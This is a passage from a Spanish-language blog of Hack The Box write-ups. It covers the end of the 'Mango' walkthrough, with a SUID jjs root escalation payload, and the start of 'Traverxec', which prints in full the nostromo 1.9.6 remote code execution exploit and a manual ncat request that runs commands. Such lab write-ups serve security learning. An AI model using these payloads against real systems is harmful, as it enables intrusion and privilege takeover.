</span></span></code></pre></div><p>Al fin, después de muchas vueltas y ciclos de CPU perdidos para siempre, ingresamos al servidor como <em>mango</em>. Leemos el archivo <code>/etc/passwd</code> y vemos a un viejo conocido, <strong>admin</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>mango@mango:~$ tail /etc/passwd
</span></span><span style="display:flex;"><span>_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>lxd:x:105:65534::/var/lib/lxd/:/bin/false
</span></span><span style="display:flex;"><span>uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>pollinate:x:109:1::/var/cache/pollinate:/bin/false
</span></span><span style="display:flex;"><span>sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>mango:x:1000:1000:mango:/home/mango:/bin/bash
</span></span><span style="display:flex;"><span>admin:x:4000000000:1001:,,,:/home/admin/:/bin/sh
</span></span><span style="display:flex;"><span>mongodb:x:111:65534::/home/mongodb:/usr/sbin/nologin
</span></span></code></pre></div><p>Luego dije, ¿porque no pude acceder como admin, sera que son otras credenciales?</p>
<p>Así que revise el archivo del servicio SSH:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>mango@mango:~$ cat /etc/ssh/sshd_config  | grep -vE &#39;^#|^$&#39;
</span></span><span style="display:flex;"><span>PermitRootLogin yes
</span></span><span style="display:flex;"><span>ChallengeResponseAuthentication no
</span></span><span style="display:flex;"><span>UsePAM yes
</span></span><span style="display:flex;"><span>X11Forwarding yes
</span></span><span style="display:flex;"><span>PrintMotd no
</span></span><span style="display:flex;"><span>AcceptEnv LANG LC_*
</span></span><span style="display:flex;"><span>Subsystem sftp  /usr/lib/openssh/sftp-server
</span></span><span style="display:flex;"><span>PasswordAuthentication yes
</span></span><span style="display:flex;"><span>AllowUsers mango root
</span></span></code></pre></div><p>Pues con esto me quedo claro que solo mango o root podían acceder. Así que hice un switch con <code>su - admin</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>mango@mango:~$ su - admin
</span></span><span style="display:flex;"><span>Password:
</span></span><span style="display:flex;"><span>$
</span></span><span style="display:flex;"><span>$ id
</span></span><span style="display:flex;"><span>uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
</span></span><span style="display:flex;"><span>$ bash
</span></span><span style="display:flex;"><span>To run a command as administrator (user &#34;root&#34;), use &#34;sudo &lt;command&gt;&#34;.
</span></span><span style="display:flex;"><span>See &#34;man sudo_root&#34; for details.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>admin@mango:/home/admin$
</span></span></code></pre></div><p>Perfecto, ahora que somos admin, podemos tomar la bandera de user.</p>
<h1 id="usertxt">user.txt</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>admin@mango:/home/admin$ cat user.txt
</span></span><span style="display:flex;"><span>&lt;omitido&gt;
</span></span></code></pre></div><h1 id="from-admin-to-root">From admin to root</h1>
<h2 id="privesc">privesc</h2>
<p>Ahora como admin y antes de lanzar un linenum, busque archivos donde admin fuera propietario o perteneciera al grupo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>admin@mango:/home/admin$ find /usr -user admin -type f 2&gt;/dev/null
</span></span><span style="display:flex;"><span>admin@mango:/home/admin$ find /usr -group admin -type f 2&gt;/dev/null
</span></span><span style="display:flex;"><span>/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
</span></span><span style="display:flex;"><span>admin@mango:/home/admin$ ls -lah /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
</span></span><span style="display:flex;"><span>-rwsr-sr-- 1 root admin 11K Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
</span></span></code></pre></div><p>El resultado es claro, tenemos SUID en este archivo, el cual root es owner y nosotros somos miembros del mismo grupo.</p>
<h2 id="suid-jjs">SUID jjs</h2>
<p>No tomo ni 2 minutos y gtfobins ya tenia una nota asociada.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://gtfobins.github.io/gtfobins/jjs/#suid
</span></span></code></pre></div><p>Siguiendo la nota de gtfobins, y haciendo un par de cambios, preparamos el siguiente script para <code>jjs</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>Java.<span style="color:#a6e22e">type</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span>java.<span style="color:#a6e22e">lang</span>.<span style="color:#a6e22e">Runtime</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>  .<span style="color:#a6e22e">getRuntime</span>()
</span></span><span style="display:flex;"><span>    .<span style="color:#a6e22e">exec</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#f92672">/</span>bin<span style="color:#f92672">/</span>bash <span style="color:#f92672">-</span>pc $<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#f92672">|</span>bash${IFS}<span style="color:#f92672">-</span>p _ echo bash <span style="color:#f92672">-</span>p <span style="color:#f92672">&lt;</span>$(tty) <span style="color:#f92672">&gt;</span>$(tty) 2<span style="color:#f92672">&gt;</span>$(tty)<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>      .<span style="color:#a6e22e">waitFor</span>()
</span></span></code></pre></div><p>Este exec es un tanto rebuscado e interesante, asi que por partes:</p>
<ul>
<li><code>-p</code> aparece en todas partes, debido a que esto nos permite que al momento que hagamos nuestra invocación, las variables de root sean pasadas correctamente, como cuando hacemos un <code>su -</code> versus un <code>su</code>. Esto tiene relación entre el effective user (admin) y el real user (root).</li>
<li><code>&lt;$(tty) &gt;$(tty) 2&gt;$(tty)</code>, aquí básicamente lo que hacemos es conectarnos con la tty sobre la cual estamos trabajando, y redireccionamos tanto lo que sale como lo que entra (STDIN,STDOUT,STDERR). Esto nos servirá para que la salida sea la entrada del primer programa que conectamos a un pipe.</li>
<li><code>bash -pc</code>, se encarga de ejecutar el comando que recibe como argumento.</li>
<li><code>$@|bash${IFS}-p</code>, este se encarga de recibir un comando via el array de argumentos y ejecutarlo en bash por que lo recibe por el pipe. La variable ${IFS} es sustituida por un espacio dentro del string para concatenar el argumento <code>-p</code>.</li>
</ul>
<p>Este pequeño script de bash funciona como un pipe que recibe instrucciones vía argumentos, es por eso que cuando lo ejecutamos la primera vez, parece un tanto atorado porque no vemos el salto de linea entre instrucción e instrucción.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>admin@mango:/home/admin$ echo &#34;Java.type(&#39;java.lang.Runtime&#39;).getRuntime().exec(&#39;/bin/bash -pc \$@|bash\${IFS}-p _ echo bash -p &lt;$(tty) &gt;$(tty) 2&gt;$(tty)&#39;).waitFor()&#34; | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
</span></span><span style="display:flex;"><span>Warning: The jjs tool is planned to be removed from a future JDK release
</span></span><span style="display:flex;"><span>jjs&gt; Java.type(&#39;java.lang.Runtime&#39;).getRuntime().exec(&#39;/bin/bash -pc $@|bash${IFS}-p _ echo bash -p &lt;/dev/pts/0 &gt;/dev/pts/0 2&gt;/dev/pts/0&#39;).waitFor()
</span></span><span style="display:flex;"><span>bash-4.4# uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
</span></span><span style="display:flex;"><span>bash-4.4# bash-4.4# bash-4.4# reset
</span></span></code></pre></div><p>Para reparar esto, actualizamos las variables ejecutando un <code>reset</code> sobre bash que nos ayude a tener una mejor interacción con esta terminal:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Interrupt set to control-C (^C).
</span></span><span style="display:flex;"><span>bash-4.4# ls
</span></span><span style="display:flex;"><span>user.txt
</span></span><span style="display:flex;"><span>bash-4.4# id
</span></span><span style="display:flex;"><span>uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
</span></span></code></pre></div><h1 id="roottxt">root.txt</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>bash-4.4# cat /root/root.txt
</span></span><span style="display:flex;"><span>&lt;omitido&gt;
</span></span></code></pre></div><hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>HTB write-up: Traverxec</title><link>https://www.xbyte.mx/posts/htb_writeup_-_traverxec/</link><pubDate>Sun, 12 Apr 2020 14:41:19 -0500</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_traverxec/</guid><description>&lt;p&gt;Traverxec de hackthebox, es una maquina Linux de nivel EASY que nos permite explotar un servicio vulnerable a Directory Transversal to Remote Code Execution, realizar ataques de fuerza bruta a hashes de contraseñas y realizar una escalada de privilegios muy coqueta debido al pager por defecto en journalctl.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Traverxec de hackthebox, es una maquina Linux de nivel EASY que nos permite explotar un servicio vulnerable a Directory Transversal to Remote Code Execution, realizar ataques de fuerza bruta a hashes de contraseñas y realizar una escalada de privilegios muy coqueta debido al pager por defecto en journalctl.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img src="https://www.hackthebox.eu/storage/avatars/6ce5fcdd63f07a5ce91d0b8e4579b163_thumb.png" alt="traverxec image"> <a href="https://www.hackthebox.eu/home/machines/profile/217">traverxec</a></td>
          <td><a href="https://www.hackthebox.eu/home/users/profile/77141">jkr</a></td>
          <td>Linux</td>
          <td>10.10.10.165</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-traverxec/cardinfo.png" alt="cardinfo"></p>
<h1 id="port-scanning-and-service-discovery">Port Scanning and Service Discovery</h1>
<p>Iniciamos por ejecutar un <code>masscan</code> para descubrir puertos udp y tcp abiertos, y posteriormente <code>nmap</code>, para identificar servicios expuestos en estos puertos:</p>
<h2 id="masscan">masscan</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.165 | tee /home/tony/htb/traverxec/masscan.log
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-03-21 03:49:45 GMT
</span></span><span style="display:flex;"><span>-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.165
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.165
</span></span></code></pre></div><ul>
<li><code>-e tun0</code> para ejecutarlo nada mas en la interface tun0</li>
<li><code>-p0-65535,U:0-65535</code> TODOS los puertos (TCP y UDP)</li>
<li><code>--rate 500</code> para mandar 500pps y no sobre cargar la VPN ):</li>
</ul>
<h2 id="nmap-services">nmap services</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -sV -sC -p 22,80 -n --open -v 10.10.10.165 -oN /home/tony/htb/traverxec/services.nmap
</span></span><span style="display:flex;"><span>Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-20 21:56 CST
</span></span><span style="display:flex;"><span>NSE: Loaded 151 scripts for scanning.
</span></span><span style="display:flex;"><span>NSE: Script Pre-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 21:56
</span></span><span style="display:flex;"><span>Completed NSE at 21:56, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 21:56
</span></span><span style="display:flex;"><span>Completed NSE at 21:56, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 21:56
</span></span><span style="display:flex;"><span>Completed NSE at 21:56, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 21:56
</span></span><span style="display:flex;"><span>Scanning 10.10.10.165 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 21:56, 0.19s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 21:56
</span></span><span style="display:flex;"><span>Scanning 10.10.10.165 [2 ports]
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.165
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.165
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 21:56, 0.18s elapsed (2 total ports)
</span></span><span style="display:flex;"><span>Initiating Service scan at 21:56
</span></span><span style="display:flex;"><span>Scanning 2 services on 10.10.10.165
</span></span><span style="display:flex;"><span>Completed Service scan at 21:56, 6.29s elapsed (2 services on 1 host)
</span></span><span style="display:flex;"><span>NSE: Script scanning 10.10.10.165.
</span></span><span style="display:flex;"><span>Initiating NSE at 21:56
</span></span><span style="display:flex;"><span>Completed NSE at 21:56, 4.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 21:56
</span></span><span style="display:flex;"><span>Completed NSE at 21:56, 0.51s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 21:56
</span></span><span style="display:flex;"><span>Completed NSE at 21:56, 0.00s elapsed
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.165
</span></span><span style="display:flex;"><span>Host is up (0.13s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
</span></span><span style="display:flex;"><span>|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
</span></span><span style="display:flex;"><span>|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
</span></span><span style="display:flex;"><span>80/tcp open  http    nostromo 1.9.6
</span></span><span style="display:flex;"><span>|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Supported Methods: GET HEAD POST
</span></span><span style="display:flex;"><span>|_http-server-header: nostromo 1.9.6
</span></span><span style="display:flex;"><span>|_http-title: TRAVERXEC
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NSE: Script Post-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 21:56
</span></span><span style="display:flex;"><span>Completed NSE at 21:56, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 21:56
</span></span><span style="display:flex;"><span>Completed NSE at 21:56, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 21:56
</span></span><span style="display:flex;"><span>Completed NSE at 21:56, 0.00s elapsed
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 11.79 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
</span></span></code></pre></div><ul>
<li><code>-sS</code> para escaneo TCP vía SYN</li>
<li><code>-sC</code> para que ejecute los scripts safe-discovery de nse</li>
<li><code>-sV</code> para que me traiga el banner del puerto</li>
<li><code>-p 22,80</code> para escanear solo los puertos TCP 80 y 22</li>
<li><code>-oN</code> para guardar el output en formato normal o salida por defecto de nmap</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<h1 id="know-exploits">Know exploits</h1>
<p>El resultado de <code>nmap</code> nos devolvió algo interesante sobre el servidor Web: <code>nostromo 1.9.6</code></p>
<p>Tal como hubiera sucedido con apache, nginx y otros populares servidores web, buscamos con el banner de versión, exploits conocidos en <a href="https://www.exploit-db.com/"><strong>exploit-database</strong></a>.</p>
<h2 id="searchsploit">searchsploit</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$ searchsploit nostromo
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------- -----------------------------------
</span></span><span style="display:flex;"><span> Exploit Title                                                      |  Path
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------- -----------------------------------
</span></span><span style="display:flex;"><span>Nostromo - Directory Traversal Remote Command Execution (Metasploit | exploits/multiple/remote/47573.rb
</span></span><span style="display:flex;"><span>nostromo 1.9.6 - Remote Code Execution                              | exploits/multiple/remote/47837.py
</span></span><span style="display:flex;"><span>nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Executio | exploits/linux/remote/35466.sh
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------- -----------------------------------
</span></span><span style="display:flex;"><span>Shellcodes: No Result
</span></span></code></pre></div><p>Copiamos con la opción <code>-m path</code> el exploit asociado a la versión que tenemos (<strong>1.9.6</strong>):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$ searchsploit -m exploits/multiple/remote/47837.py
</span></span><span style="display:flex;"><span>  Exploit: nostromo 1.9.6 - Remote Code Execution
</span></span><span style="display:flex;"><span>      URL: https://www.exploit-db.com/exploits/47837
</span></span><span style="display:flex;"><span>     Path: /home/tony/git/exploitdb/exploits/multiple/remote/47837.py
</span></span><span style="display:flex;"><span>File Type: Python script, ASCII text executable, with CRLF line terminators
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Copied to: /home/tony/htb/traverxec/47837.py
</span></span></code></pre></div><p>Veamos el contenido:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># Exploit Title: nostromo 1.9.6 - Remote Code Execution</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Date: 2019-12-31</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Exploit Author: Kr0ff</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Vendor Homepage:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Software Link: http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Version: 1.9.6</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Tested on: Debian</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># CVE : CVE-2019-16278</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>cve2019_16278<span style="color:#f92672">.</span>py
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> sys
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> socket
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>art <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">                                        _____-2019-16278
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        _____  _______    ______   _____\    </span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">   _____\    \_\      |  |      | /    / |    |
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  /     /|     ||     /  /     /|/    /  /___/|
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> /     / /____/||\    \  \    |/|    |__ |___|/
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">|     | |____|/ \ \    \ |    | |       </span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">|     |  _____   \|     \|    | |     __/ __
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">|\     \|\    \   |\         /| |\    \  /  </span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">| \_____\|    |   | \_______/ | | \____\/    |
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">| |     /____/|    \ |     | /  | |    |____/|
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> \|_____|    ||     \|_____|/    \|____|   | |
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        |____|/                        |___|/
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>help_menu <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\r\n</span><span style="color:#e6db74">Usage: cve2019-16278.py &lt;Target_IP&gt; &lt;Target_Port&gt; &lt;Command&gt;&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">connect</span>(soc):
</span></span><span style="display:flex;"><span>    response <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> <span style="color:#66d9ef">True</span>:
</span></span><span style="display:flex;"><span>            connection <span style="color:#f92672">=</span> soc<span style="color:#f92672">.</span>recv(<span style="color:#ae81ff">1024</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> len(connection) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>            response <span style="color:#f92672">+=</span> connection
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">pass</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> response
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">cve</span>(target, port, cmd):
</span></span><span style="display:flex;"><span>    soc <span style="color:#f92672">=</span> socket<span style="color:#f92672">.</span>socket()
</span></span><span style="display:flex;"><span>    soc<span style="color:#f92672">.</span>connect((target, int(port)))
</span></span><span style="display:flex;"><span>    payload <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;POST /.</span><span style="color:#e6db74">%0d</span><span style="color:#e6db74">./.</span><span style="color:#e6db74">%0d</span><span style="color:#e6db74">./.</span><span style="color:#e6db74">%0d</span><span style="color:#e6db74">./.</span><span style="color:#e6db74">%0d</span><span style="color:#e6db74">./bin/sh HTTP/1.0</span><span style="color:#ae81ff">\r\n</span><span style="color:#e6db74">Content-Length: 1</span><span style="color:#ae81ff">\r\n\r\n</span><span style="color:#e6db74">echo</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">echo</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">{}</span><span style="color:#e6db74"> 2&gt;&amp;1&#39;</span><span style="color:#f92672">.</span>format(cmd)
</span></span><span style="display:flex;"><span>    soc<span style="color:#f92672">.</span>send(payload)
</span></span><span style="display:flex;"><span>    receive <span style="color:#f92672">=</span> connect(soc)
</span></span><span style="display:flex;"><span>    print(receive)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    print(art)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        target <span style="color:#f92672">=</span> sys<span style="color:#f92672">.</span>argv[<span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>        port <span style="color:#f92672">=</span> sys<span style="color:#f92672">.</span>argv[<span style="color:#ae81ff">2</span>]
</span></span><span style="display:flex;"><span>        cmd <span style="color:#f92672">=</span> sys<span style="color:#f92672">.</span>argv[<span style="color:#ae81ff">3</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        cve(target, port, cmd)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">IndexError</span>:
</span></span><span style="display:flex;"><span>        print(help_menu)
</span></span></code></pre></div><p>Como podemos leer en el exploit, es posible hacer un path transversal hacia <code>/bin/sh</code> y enviarle en body del post los comandos que va a ejecutar <code>/bin/sh</code>. Algo parecido a enviarle por un pipe los comandos a sh.</p>
<p>Nota: No olviden modificar el exploit para poder ejecutarlo correctamente, ya que en la parte superior hay partes no comentadas hasta llegar el shebang.</p>
<h1 id="reverse-shell">Reverse Shell</h1>
<p>Empeze primero por probar manualmente el exploit de la siguiente manera con <code>ncat</code> y <code>echo</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$ echo -e <span style="color:#e6db74">$&#34;POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\nHost: 10.10.10.165Content-Length: 1\r\n\r\necho\necho\nid 2&amp;&gt;1\n&#34;</span> | ncat -vn 10.10.10.165 <span style="color:#ae81ff">80</span>
</span></span><span style="display:flex;"><span>Ncat: Version 7.80 <span style="color:#f92672">(</span> https://nmap.org/ncat <span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Ncat: Connected to 10.10.10.165:80.
</span></span><span style="display:flex;"><span>HTTP/1.1 <span style="color:#ae81ff">200</span> OK
</span></span><span style="display:flex;"><span>Date: Sun, <span style="color:#ae81ff">12</span> Apr <span style="color:#ae81ff">2020</span> 21:09:45 GMT
</span></span><span style="display:flex;"><span>Server: nostromo 1.9.6
</span></span><span style="display:flex;"><span>Connection: close
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>2<span style="color:#f92672">(</span>bin<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>2<span style="color:#f92672">(</span>bin<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>2<span style="color:#f92672">(</span>bin<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Ncat: <span style="color:#ae81ff">104</span> bytes sent, <span style="color:#ae81ff">137</span> bytes received in 0.72 seconds.
</span></span><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$
</span></span></code></pre></div><p>Ahora que podemos ejecutar remotamente instrucciones (RCE), podemos buscar como armar una conexión reversa hacia nuestra maquina (reverse shell):</p>
<p>En mi caso inicie con lo mas sencillo, buscar si tenemos <code>netcat</code> y que versión/sabor de <code>netcat</code> tenemos:</p>
